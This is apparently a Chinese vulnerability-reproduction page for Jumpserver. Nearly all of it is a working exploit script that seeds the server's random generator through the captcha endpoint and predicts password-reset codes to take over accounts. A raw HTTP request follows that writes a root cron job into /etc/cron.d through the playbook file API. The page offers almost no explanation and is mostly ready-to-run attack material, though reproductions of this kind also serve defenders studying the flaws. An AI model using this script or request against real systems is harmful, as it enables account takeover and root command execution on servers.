Jumpserver漏洞分析/复现全记录 | 分析

import requestsimport loggingimport sysimport randomimport stringimport argparsefrom urllib.parse import urljoin
logging.basicConfig(stream=sys.stdout, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')string_punctuation = '!#$%&()*+,-.:;<=>?@[]^_~'

def random_string(length: int, lower=True, upper=True, digit=True, special_char=False):    args_names = ['lower', 'upper', 'digit', 'special_char']    args_values = [lower, upper, digit, special_char]    args_string = [string.ascii_lowercase, string.ascii_uppercase, string.digits, string_punctuation]    args_string_map = dict(zip(args_names, args_string))    kwargs = dict(zip(args_names, args_values))    kwargs_keys = list(kwargs.keys())    kwargs_values = list(kwargs.values())    args_true_count = len([i for i in kwargs_values if i])    assert any(kwargs_values), f'Parameters {kwargs_keys} must have at least one `True`'    assert length >= args_true_count, f'Expected length >= {args_true_count}, bug got {length}'
    can_startswith_special_char = args_true_count == 1 and special_char
    chars = ''.join([args_string_map[k] for k, v in kwargs.items() if v])
    while True:        password = list(random.choice(chars) for i in range(length))        for k, v in kwargs.items():            if v and not (set(password) & set(args_string_map[k])):                # 没有包含指定的字符, retry                break        else:            if not can_startswith_special_char and password[0] in args_string_map['special_char']:                # 首位不能为特殊字符, retry                continue            else:                # 满足要求终止 while 循环                break
    password = ''.join(password)    return password

def nop_random(seed: str):    random.seed(seed)    for i in range(4):        random.randrange(-35, 35)
    for p in range(int(180 * 38 * 0.1)):        random.randint(0, 180)        random.randint(0, 38)

def fix_seed(target: str, seed: str):    def _request(i: int, u: str):        logging.info('send %d request to %s', i, u)        response = requests.get(u, timeout=5)        assert response.status_code == 200        assert response.headers['Content-Type'] == 'image/png'
    url = urljoin(target, '/core/auth/captcha/image/' + seed + '/')    for idx in range(10):        _request(idx, url)

def send_code(target: str, email: str, reset_token: str):    url = urljoin(target, "/api/v1/authentication/password/reset-code/?token=" + reset_token)    response = requests.post(url, json={        'email': email,        'sms': '',        'form_type': 'email',    }, allow_redirects=False)    assert response.status_code == 200    logging.info("send code headers: %r response: %r", response.headers, response.text)

def main(target: str, email: str, seed: str, token: str):    fix_seed(target, seed)    nop_random(seed)    send_code(target, email, token)    code = random_string(6, lower=False, upper=False)    logging.info("your code is %s", code)

if __name__ == "__main__":    parser = argparse.ArgumentParser(description='Process some integers.')    parser.add_argument('-t', '--target', type=str, required=True, help='target url')    parser.add_argument('--email', type=str, required=True, help='account email')    parser.add_argument('--seed', type=str, required=True, help='seed from captcha url')    parser.add_argument('--token', type=str, required=True, help='account reset token')
    args = parser.parse_args()    main(args.target, args.email, args.seed, args.token)

POST /api/v1/ops/playbook/60a94b33-ae22-4af7-a9ba-2b94220776d3/file/ HTTP/1.1Host: 192.168.110.209X-CSRFToken: KONtfk71te76xqJdQkvmz1Sz1gkR8y0gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Content-Type: application/jsonOrigin: http://192.168.110.209Referer: http://192.168.110.209/ui/Cookie: SESSION_COOKIE_NAME_PREFIX=jms_; jms_public_key="LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDMk5wM3ZKM2l0eDBoRUcrbnU5dGM1a0hGRQpQUEVQT3AyVC9zbFlsM0hzRGJwL1BZNjVrQlkrVDh5NFZtWDBHQTl5S20yRDJZNEJtT1dxd0FBUCtBL2RndTNrClNNVlNHcFFRZEl3UFRJdTl4L3NEVHIySncvQ1BhNUtnNUlKYnJSRTh1UVF4ME1FMEtLU0JMZHVRcGRDRkEyNzkKVjZaNlAyRmViaVlHU0x2bzFRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ=="; jms_session_expire=close; jms_csrftoken=KONtfk71te76xqJdQkvmz1Sz1gkR8y0g; jms_sessionid=m4ipcdywsc1w78mxlx0gv0fa5j97jyqw; X-JMS-ORG=00000000-0000-0000-0000-000000000002; activeTab=WorkspaceConnection: closeContent-Length: 108
{    "key": "/etc/cron.d",    "name": "test",    "content": "*/2 * * * * root touch /tmp/111.txt"}